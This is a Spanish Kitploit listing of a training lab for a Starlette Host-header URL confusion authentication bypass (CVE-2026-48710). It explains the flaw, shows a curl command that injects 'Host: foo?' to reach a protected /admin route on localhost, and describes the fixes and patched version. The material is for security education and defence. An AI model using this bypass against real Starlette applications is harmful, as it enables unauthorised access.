Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
starlette-host-header-lab — Laboratorio de confusión de URL de Host-Header de Starlette (X41-2026-002) - CVE-2026-48710 | Kitploit
Herramientas/GitHubGitHub/xtremebeing/starlette-host-header-lab
Análisis de VulnerabilidadesSeguridad WebAutenticaciónMala ConfiguraciónAprendizaje y EducaciónLabs y Práctica
GitHubxtremebeing/starlette-host-header-lab

starlette-host-header-lab

Laboratorio de confusión de URL de Host-Header de Starlette (X41-2026-002) - CVE-2026-48710

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
1hace 2 mesesAún no revisado

Lab de Confusión de URL por Host-Header en Starlette (X41-2026-002)

Un laboratorio de formación autónomo y contenerizado que reproduce la vulnerabilidad de omisión de autenticación en Starlette divulgada por X41 D-Sec.

  • Aviso: X41-2026-002
  • GHSA: GHSA-86qp-5c8j-p5mr
  • CWE: 436 — Conflicto de interpretación / Entrada no confiable en llamada a función
  • CVSS: 7.0 (Alta)
  • Afectados: Starlette >= 0.8.3, < 1.0.1 (el lab fija 0.37.2)
  • Corregido en: Starlette 1.0.1

⚠️ Solo para formación de seguridad autorizada. Esta aplicación es deliberadamente vulnerable. No la despliegue en ninguna red accesible.


La vulnerabilidad en un párrafo

Starlette envía una solicitud a una ruta usando el scope["path"] ASGI crudo, pero reconstruye request.url formateando el encabezado Host suministrado por el cliente en "{scheme}://{host}{path}" — sin validar el encabezado Host contra RFC 9112 §3.2. Dado que los metacaracteres de URL (?, /, #) se permiten directamente, un atacante puede hacer que la ruta reconstruida difiera de la ruta enrutada. Cualquier comprobación de seguridad escrita contra request.url.path puede entonces ser engañada mientras el enrutador sigue alcanzando el manejador protegido.

Por qué funciona el PoC

El middleware vulnerable permite la solicitud solo cuando request.url.path es / o está vacío:

root@kitploit:~
if request.url.path in ("/", ""):
    return await call_next(request)   # permitido
return PlainTextResponse("Forbidden", status_code=403)

Envía Host: foo? contra GET /admin:

ComponenteValor usado
Router (scope["path"])

El ? convierte todo lo que le sigue en la cadena de consulta, por lo que la ruta analizada está vacía. La autenticación ve una ruta vacía y la deja pasar; el enrutador sigue sirviendo /admin. Omisión lograda.


Ejecutar el laboratorio

Requiere Docker + Docker Compose.

root@kitploit:~
docker compose up --build

Se inician dos servicios:

ServicioURLComportamiento
vulnerablehttp://localhost:8000vulnerable a la omisión
fixedhttp://localhost:8001mitigado (de dos formas)

Explotarlo

root@kitploit:~
# Bloqueado normalmente:
curl -i http://localhost:8000/admin                 # 403 Forbidden

# Omisión mediante inyección en el encabezado Host:
curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...}

O ejecuta el script de PoC guiado:

root@kitploit:~
./exploit/exploit.sh        # ataca a :8000 (tiene éxito)
./exploit/exploit.sh 8001   # ataca a :8001 (falla — corregido)

El manejador vulnerable /admin devuelve un cuerpo JSON que hace visible la confusión — observa cómo scope_path y reconstructed_path no coinciden:

root@kitploit:~
{
  "secret": "FLAG{host_header_url_confusion}",
  "scope_path": "/admin",
  "reconstructed_url": "http://foo?/admin",
  "reconstructed_path": "",
  "host_header": "foo?"
}

Cómo se corrige

Consulta fixed/fixed_app.py. Dos mitigaciones independientes:

  1. Usar el valor autoritativo. Tomar la decisión de autenticación sobre request.scope["path"] — la misma ruta cruda que usa el enrutador — en lugar de la reconstruida request.url.path.
  2. Defensa en profundidad. TrustedHostMiddleware rechaza los encabezados Host inesperados o malformados antes de que se ejecute cualquier lógica de aplicación, reflejando lo que hace un proxy inverso conforme a RFC (nginx/Apache) en el upstream.

La corrección en el mundo real es simplemente actualizar a Starlette ≥ 1.0.1, que valida el encabezado Host durante la reconstrucción de la URL.


Preguntas de debate para ingenieros

  1. ¿En qué otro lugar de una pila típica se reconstruye un valor a partir de entrada no confiable y luego se confía en él? (Pista: listas de permitidos de SSRF, redirect_uri de OAuth, claves de caché, enlaces de restablecimiento de contraseña construidos desde Host.)
  2. ¿Por qué es "bloquear la ruta mala" (/admin) más frágil aquí que "decidir sobre el endpoint enrutado"? ¿Qué pasa si el enrutamiento no distingue entre mayúsculas y minúsculas o tiene redirecciones con barra final?
  3. Esto es CWE-436 (conflicto de interpretación). ¿Qué otros bugs famosos comparten esta forma? (Contrabando de solicitudes HTTP, omisión de autenticación por normalización Unicode, el día 0.0.0.0.)

Archivos

root@kitploit:~
starlette-host-header-lab/
├── app/vulnerable_app.py   # el servicio deliberadamente vulnerable
├── fixed/fixed_app.py      # servicio mitigado para comparación
├── exploit/exploit.sh      # prueba de concepto guiada
├── requirements.txt        # fija Starlette 0.37.2 (vulnerable)
├── Dockerfile
├── docker-compose.yml
└── README.md
Descargar herramienta
/admin → despacha admin()
request.urlhttp://foo?/admin
request.url.path"" → pasa la comprobación de auth ✅